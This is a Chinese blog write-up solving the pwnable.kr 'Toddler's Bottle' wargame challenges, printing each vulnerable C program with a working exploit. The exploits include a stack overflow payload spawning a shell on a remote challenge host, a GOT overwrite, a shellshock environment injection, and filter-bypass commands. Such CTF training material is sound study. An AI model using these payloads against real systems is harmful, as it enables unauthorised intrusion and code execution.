pwnable 刷题 writeup 之 Toddler’s Bottle

发布于 2022-07-03 15:36:20 字数 24581 浏览 934 评论 0

1.fd

源码如下:

C

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

第一题送分,文件描述符中0为标准输入,1为标准输出,2为标准错误输出,输入如下得到 flag:

./fd 4660
LETMEWIN

good job :)
flag:  mommy! I think I know what a file descriptor is!!

2. col

源码如下:

C

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

输入20字节,每4字节作为一个整数,相加后得到 0x21DD09EC 即可。由于是通过 strlen 判断长度,所以不能有 0x00 出现,将 0x21DD09EC 拆分成 5 个整数相加(0x01010101 + 0x01010101 + 0x01010101 + 0x01010101 + 0x1DD905E8)

./col $(python -c 'print "\xE8\x05\xD9\x1D" + 16*"\x01"')

flag : daddy! I just managed to create a hash collision :)

3.bof

C

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

用 objdump 看 bof 的反汇编,找到 overflowme 数组起始地址距离 ebp 的长度为 0x2c(44),加上 ebp,eip8 字节,共要填充 52 字节:

python 脚本跑出 flag:

Python

from zio import *
host = "143.248.249.64"
port = 9000
io = zio((host,port),print_read=False,print_write=False)
payload = "A"*52 + "\xbe\xba\xfe\xca" + "\n"
io.write(payload+"\n")
io.write("cat flag\n")
buf = io.read_until("\n")
print buf

4.flag

ida 打开发现程序被加壳了,用 010editor 打开发现是UPX的壳,用 upx 命令脱壳:

upx -d flag -o deflag

脱壳后用 ida 直接找到 flag 字符串 flag: UPX…? sounds like a delivery service

5.passcode

漏洞代码如下:

C

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");

        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}

这段代码存在 scanf 误用,读入的数据并没有写入 passcode1,passcode2,而是写入了 passcode1,passcode2 未被初始化时所存储的内容,经过 gdb 调试发现 welcome 函数中的 name 变量最后 4 字节刚好可以覆盖到 passcode1(堆栈平衡之后并没有情况栈,所以栈中残留着局部变量 name),这样就可以通过控制 name 的最后4字节达到任意地址写。

最简单的想法是让代码直接跳转到 system(“/bin/cat flag”); 但是又不能直接修改 eip,这时想到了修改 GOT 表,直接把下一个要执行的函数地址改成输出 flag 的代码的起始地址,通过 objdump 找到 system(“/bin/cat flag”); 代码起始地址:

80485ce:    81 7d f4 c9 07 cc 00     cmpl   $0xcc07c9,-0xc(%ebp)
 80485d5:    75 1a                    jne    80485f1 <login+0x8d>
 80485d7:    c7 04 24 a5 87 04 08     movl   $0x80487a5,(%esp)
 80485de:    e8 6d fe ff ff           call   8048450 <puts@plt>
 80485e3:    c7 04 24 af 87 04 08     movl   $0x80487af,(%esp)
 80485ea:    e8 71 fe ff ff           call   8048460 <system@plt>

可以看到起始地址为 0x80485e3。scanf 下一句代码是 fflush(stdin); 同样用 objdump 找到 fflush 的 GOT 表地址:

08048430 <fflush@plt>:
 8048430:       ff 25 04 a0 04 08       jmp    *0x804a004
 8048436:       68 08 00 00 00          push   $0x8
 804843b:       e9 d0 ff ff ff          jmp    8048410 <_init+0x30>

GOT 表项地址为 0x804a004 。最终构造 shellcode 输入:

python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "134514147\n"' | ./passcode

134514147 为0x80485e3 的十进制数值(因为 %d 是取出整数),得到 flag:Sorry mom.. I got confused about scanf usage

6.random

C

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

c 中的 rand 函数产生的是伪随机数,每次产生出的是固定值,在本地跑一下发现固定为 1804289383,于 0xdeadbeef 异或后得到 3039230856,输入后得到 flag:

Mommy, I thought libc random is unpredictable…

7.input

这里主要考察Linux编程,题目如下:

C

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv

    if(argc != 100) return 0; //参数个数为100-1 ,argv[0]是程序路径及名称
    if(strcmp(argv['A'],"\x00")) return 0;//argv[65]
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;//argv[66]
    printf("Stage 1 clear!\n");    

    // stdio 用管道重定向该进程的标准输入
    char buf[4];
    read(0, buf, 4);//从标准输入中读
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);//从标准错误输出中读
    if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;//设置环境变量
    printf("Stage 3 clear!\n");

    // file 从文件\x0a中 读出4字节 判断是否为 \x00\x00\x00\x00
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );//监听端口为argv[67]
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");    
    return 0;
}

通过代码及注释如下:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<sys/types.h> 
#include<sys/socket.h> 
#include<netinet/in.h> 
#include<unistd.h> 

int main() {
    char *argv[101]={0};
    char *envp[2]={0};
    int i;
    for(i=0;i<100;++i)
    {
        argv[i] = "a";
    }
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
    argv['C'] = "12345";//服务器端监听端口

    envp[0] = "\xde\xad\xbe\xef=\xca\xfe\xba\xbe";//环境变量

    int pip1[2];//pip1[0]为读而开,pip1[1]为写而开, **往pip1[1]中写入的数据可以从pip1[0]中读出**
    int pip2[2];
    if(pipe(pip1)<0||pipe(pip2)<0)  
      {  
        printf("pipe error!/n");  
        return ;  
      }  

    FILE* fp = fopen("\x0a", "wb");
    if(!fp) 
    {
        printf("file create error!\n");
        exit(-1);
    }
    fwrite("\x00\x00\x00\x00", 4, 1, fp);
    fclose(fp);

    //fork之后,子进程会拷贝父进程的文件描述符表,并且将所有引用计数都加一,所以在父进程和子进程中都要close
    if(fork()==0)
     {      //子进程
        //要把父进的输出作为子进程的输入
        dup2(pip1[0],0);//子进程从pip1[0]中读,而不是从标准输入0中读
        close(pip1[1]);
        dup2(pip2[0],2);
        close(pip2[1]);
        execve("/home/input/input",argv,envp);

     }else{
        sleep(1);
        close(pip1[0]);
        write(pip1[1],"\x00\x0a\x00\xff",4);
        close(pip2[0]);
        write(pip2[1],"\x00\x0a\x02\xff", 4);
       }

    //等待服务器建立好再连
    sleep(5);

    int client_sockfd;  
    int len;  
    struct sockaddr_in remote_addr; //服务器端网络地址结构体 
    char buf[10]={0};  //数据传送的缓冲区 
    memset(&remote_addr,0,sizeof(remote_addr)); //数据初始化--清零 
    remote_addr.sin_family=AF_INET; //设置为IP通信 
    remote_addr.sin_addr.s_addr=inet_addr("127.0.0.1");//服务器IP地址 
    remote_addr.sin_port=htons(12345); //服务器端口号 

    /*创建客户端套接字--IPv4协议,面向连接通信,TCP协议*/  
    if((client_sockfd=socket(PF_INET,SOCK_STREAM,0))<0)  
    {  
        perror("socket");  
        return 1;  
    }  

    /*将套接字绑定到服务器的网络地址上*/  
    if(connect(client_sockfd,(struct sockaddr *)&remote_addr,sizeof(struct sockaddr))<0)  
    {  
        perror("connect");  
        return 1;  
    }  
    //printf("connected to server\n"); 

    strcpy(buf,"\xde\xad\xbe\xef");
    send(client_sockfd,buf,strlen(buf),0);  

    close(client_sockfd);//关闭套接字 

    sleep(2);

    return 0;
}

由于只有/tmp目录下才有写权限,而最后读 flag 的语句为 /bin/cat flag,所以要将 flag 文件链接到 /tmp 目录下,在 /tmp 目录下新建软链接:

ln -s /home/input/flag /tmp/flag

运行得到 flag:

Mommy! I learned how to pass various input in Linux

8.leg

这题是 arm 汇编,代码如下:

#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push    {r6}\n"
    "add    r6, pc, $1\n"
    "bx    r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push    {r3}\n"
    "pop    {pc}\n"
    ".code    32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY); 0x00008ce4
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}

关键是要找到 key1,key2,key3 的返回值。对于 arm 汇编要知道几点:

  • 前4个参数分别放在 R0,R1,R2,R3 中,多出来的才存在栈上
  • 函数返回值存在 R0 中
  • LR 保存函数的返回地址(函数调用时的下一条指令地址)
  • PC 保存当前指令的下2条指令地址,在 arm 模式下为 当前指令地址 +8,在 thumb 模式下为 当前指令地址 +4

先来看 key1 的汇编:

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:    add    r11, sp, #0
   0x00008cdc <+8>:    mov    r3, pc
   0x00008ce0 <+12>:    mov    r0, r3
   0x00008ce4 <+16>:    sub    sp, r11, #0
   0x00008ce8 <+20>:    pop {r11}        ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx    lr

可以看到把PC的值作为返回值,在执行到 mov r3,pc 时值为 0x8cdc+8,即 0x8ce4。

key2 的汇编:

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:    push {r11} ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:    add    r11, sp, #0
   0x00008cf8 <+8>:    push {r6} ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add    r6, pc, #1
   0x00008d00 <+16>:    bx    r6
   0x00008d04 <+20>:    mov    r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push {r3} 0x00008d0a <+26>:    pop {pc} 0x00008d0c <+28>:    pop {r6} ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov    r0, r3
   0x00008d14 <+36>:    sub    sp, r11, #0
   0x00008d18 <+40>:    pop {r11} ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx    lr

在 key2 中进行了 arm 到 thumb 的切换,其中 add r6,pc #1 只是为了跳转到 thumb,跳转之后地址并没有加一。当执行到 mov r3,pc 值为 0x8d04+4,即 0x8d08,后面再加上4得到返回值为0x8d0c。

key3 的汇编:

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:    add    r11, sp, #0
   0x00008d28 <+8>:    mov    r3, lr
   0x00008d2c <+12>:    mov    r0, r3
   0x00008d30 <+16>:    sub    sp, r11, #0
   0x00008d34 <+20>:    pop {r11}        ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx    lr

key3中将lr的值作为返回值,lr的值为调用函数的下一条指令:

0x00008d7c <+64>:    bl    0x8d20 <key3>
 0x00008d80 <+68>:    mov    r3, r0

所以key3返回值为0x8d80。所有返回值相加得到 0x8ce4 + 0x8d0c + 0x8d80 = 108400

得到 flag 为:

My daddy has a lot of ARMv5te muscle!

9.mistake

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){

    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;        
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}

有问题的代码为:

fd=open("/tmp/xx.txt",O_RDONLY,0400) < 0

< 的优先级大于 =,所以在打开文件后现执行 open(“/tmp/xx.txt”,O_RDONLY,0400) < 0,正常 open 时返回的值大于 0, 正数 <0 比较之后为 0,然后再赋值给 fd,fd=0 时对应着标准输入,所以后面会从标准输入中读取 password,而不是从文件中读取。

10.shellshock

这题考察 shellshock 漏洞,ssh 登入发现目录下有一个有漏洞的 bash,shellshock 被设置了 setuid 位:

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

先来看看 bash shellshock 漏洞(参考: http://drops.wooyun.org/papers/3268http://www.tuicool.com/articles/fEJbQn ):

如果环境变量的值以字符 () { 开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在 shell 启动的时候才生效。BASH处理以 (){ 开头的“函数环境变量”的时候,并没有以函数结尾 } 为结束,而是一直执行其后的 shell 命令。目录下有一个bash,输入:

env x='() { :;}; echo vulnerable' ./bash -c 'echo hello'

输出 vulnerable hello,表示这个目录下的 bash 存在 bash shellshock 漏洞。构造特定的环境变量,让有漏洞的 bash 执行输出 flag 的命令:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <unistd.h>

int main() {
    char *envp[2]={0};
    envp[0]="KKK=() { :; }; /home/shellshock/bash -c \"cat /home/shellshock/flag\"";
    execve("/home/shellshock/shellshock",NULL,envp);
    return 0;
}

输出 flag:

only if I knew CVE-2014-6271 ten years ago..!!

11.coin1

题目如下:

题目意思是找出N个硬币中的假硬币,C 是每次可以询问的次数(不能多也不能少),这题用二分法查找即可。

zio版:

from zio import *

io = zio(('pwnable.kr',9007))

for m in xrange(100):
    io.read_until("\nN=")
    rr = io.readline()
    rrr = rr.split(' ')
    totalnum = int(rrr[0])
    trials = int(rrr[1][2:-1])

    #print "--->",totalnum,trials
    l = 0
    r = totalnum - 1
    mid = totalnum/2
    left = l
    right = mid
    answer = ""
    for i in xrange(trials):
        ss = [str(n) for n in range(left,right+1)]
        sends = " ".join(ss)
        io.writeline(sends)
        value = int(io.readline())
        #print 'value-->',value
        if value!=((right-left+1)*10):
            #print right,left,'here'
            r = mid
            mid = (r + l)/2
            right = mid
        else:
            l = mid + 1
            left = l
            mid = (r + l)/2
            right = mid
        if l>=r:
            answer = str(l)
            break
    #print '----<',i
    while i<trials-1:
        io.writeline(answer)
        i+=1
    #print 'find',l,r,answer
    io.writeline(answer)

print 'okokokflag-->'
flag = io.read_until('\n')
print flag
io.interact()

开始时用 zio 写的,结果网络延迟太大,只能换成在他服务器上跑(写入 /tmp 目录,提示为(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server),但是服务器上又没有 zio 库,没办法只能写了个普通 socket 版的:

Python

普通socket版:

from socket import *
import random
import time

HOST = '0'
PORT = 9007
BUFSIZ = 99999
ADDR = (HOST, PORT)

tcpClientSock = socket(AF_INET, SOCK_STREAM)
tcpClientSock.connect(ADDR)

rec = tcpClientSock.recv(BUFSIZ)
time.sleep(4)

for m in xrange(100):

    time.sleep(0.2)
    rec = tcpClientSock.recv(BUFSIZ)
    idx = rec.find("N=")

    if idx != -1:
        tmp = rec[idx:].split(" ")
        totalnum = int(tmp[0][2:])
        trials = int(tmp[1][2:])
        print 'find-->',totalnum,trials
    else:
        print "not find"
    l = 0
    r = totalnum - 1
    mid = totalnum/2
    left = l
    right = mid
    answer = ""
    for i in xrange(trials):
        ss = [str(n) for n in range(left,right+1)]
        sends = " ".join(ss)
        tcpClientSock.send(sends+"\n")
        rec = tcpClientSock.recv(BUFSIZ)
        value = int(rec)
        #print 'value-->',value
        if value!=((right-left+1)*10):
            #print right,left,'here'
            r = mid
            mid = (r + l)/2
            right = mid
        else:
            l = mid + 1
            left = l
            mid = (r + l)/2
            right = mid
        if l>=r:
            answer = str(l)
            break
    while i<trials-1:
        tcpClientSock.send(answer+"\n")
        i+=1
    #print 'find',l,r,answer
    tcpClientSock.send(answer+"\n")
    rec = tcpClientSock.recv(BUFSIZ)
    print '---->',rec

time.sleep(0.2)
rec = tcpClientSock.recv(BUFSIZ)
print "over!flag=",rec

tcpClientSock.close()

跑出flag为:

b1NaRy_S34rch1nG_1s_3asy_p3asy

12.blackjack

没看明白 blackjack 的规则。过段时间再研究研究

13.lotto

C

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!\n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2\. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

}

void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

    // menu
    unsigned int menu;

    while(1){

        printf("- Select Menu -\n");
        printf("1\. Play Lotto\n");
        printf("2\. Help\n");
        printf("3\. Exit\n");

        scanf("%d", &menu);

        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}

问题处在以下循环:

for(i=0; i<6; i++){
    for(j=0; j<6; j++){
        if(lotto[i] == submit[j]){
            match++;
        }
    }
}

这个循环对每个输入的字符都比较了6次,而最后只需要有6次匹配则能出flag。只需要输入相同字符,则能大大增加匹配成功的概率(每次成功概率为6/45,多试几次就能得到 flag):

14.cmd1

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

从题目可以看出,输入的命令不能含有 flag,sh,tmp。在 /tmp 目录下新建一个文件夹,在这个文件夹中添加一个符号链接:

ln -s /home/cmd1/flag ffllaagg

在该目录下编译运行如下程序:

#include<stdio.h>
int main() {
    char *argv[3] = {0};
    argv[0] = "aaa";
    argv[1] = "/bin/cat ffllaagg";
    //chroot(".");//将临时根目录改成当前目录(这里不能用)
    execve("/home/cmd1/cmd1",argv,NULL);
    return 0;
}

得到flag :

mommy now I get what PATH environment is for

15.cmd2

C

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}

extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++)    memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}

这题过滤了 /,没法像上一题那样直接用符号链接,暂时还没搞定。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

JSmiles

生命进入颠沛而奔忙的本质状态,并将以不断告别和相遇的陈旧方式继续下去。

0 文章
0 评论
84960 人气
更多

推荐作者

1CH1MKgiKxn9p

文章 0 评论 0

ゞ记忆︶ㄣ

文章 0 评论 0

JackDx

文章 0 评论 0

信远

文章 0 评论 0

yaoduoduo1995

文章 0 评论 0

霞映澄塘

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文